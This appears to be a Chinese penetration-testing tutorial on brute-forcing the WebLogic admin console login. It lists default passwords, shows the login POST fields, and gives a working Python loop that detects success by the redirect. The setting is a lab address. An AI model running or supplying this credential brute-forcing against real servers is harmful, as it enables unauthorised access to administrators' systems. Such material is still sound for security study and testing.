一、weblogic安裝 http://www.cnblogs.com/0x4D75/p/8916428.html
二、 weblogic弱口令
weblogic常用弱口令https://cirt.net/passwords?criteria=weblogic
后台登陸地址: http://192.168.136.130:7001/console/login/LoginForm.jsp
0. 思路
登陸weblogic后台看到后台地址登陸並無限制,因此可以嘗試寫腳本進行爆破。
在登陸頁面隨便輸入一個用戶名密碼,利用network查看提交情況
可以看到,點擊提交按鈕后,瀏覽器向http://192.168.136.130:7001/console/j_security_check地址POST提交了這個表單
j_username: web
j_password: logic
j_character_encoding: UTF-8
當提交錯誤時,重新返回登陸頁面的地址,
正確時,則返回新的地址
根據這個思路即可以編寫爆破腳本。
1. python爆破腳本
完整腳本git地址https://github.com/b4zinga/Explib/blob/master/weblogic.py
關鍵代碼:
def weakPasswd(self):
"""weak password"""
pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
for user in pwddict:
for pwd in pwddict:
data = {
'j_username':user,
'j_password':pwd,
'j_character_encoding':'UTF-8'
}
req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)
if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
print('[+] WebLogic username: '+user+' password: '+pwd)
return True
return False
2. 技巧
python的requests模塊在post或get提交數據時,如果返回信息中含302,則requests會默認跟隨跳轉,這里跳轉之后不容易 判斷,所以給requests添加allow_redirects=False
參數,指定requests不跟隨跳轉。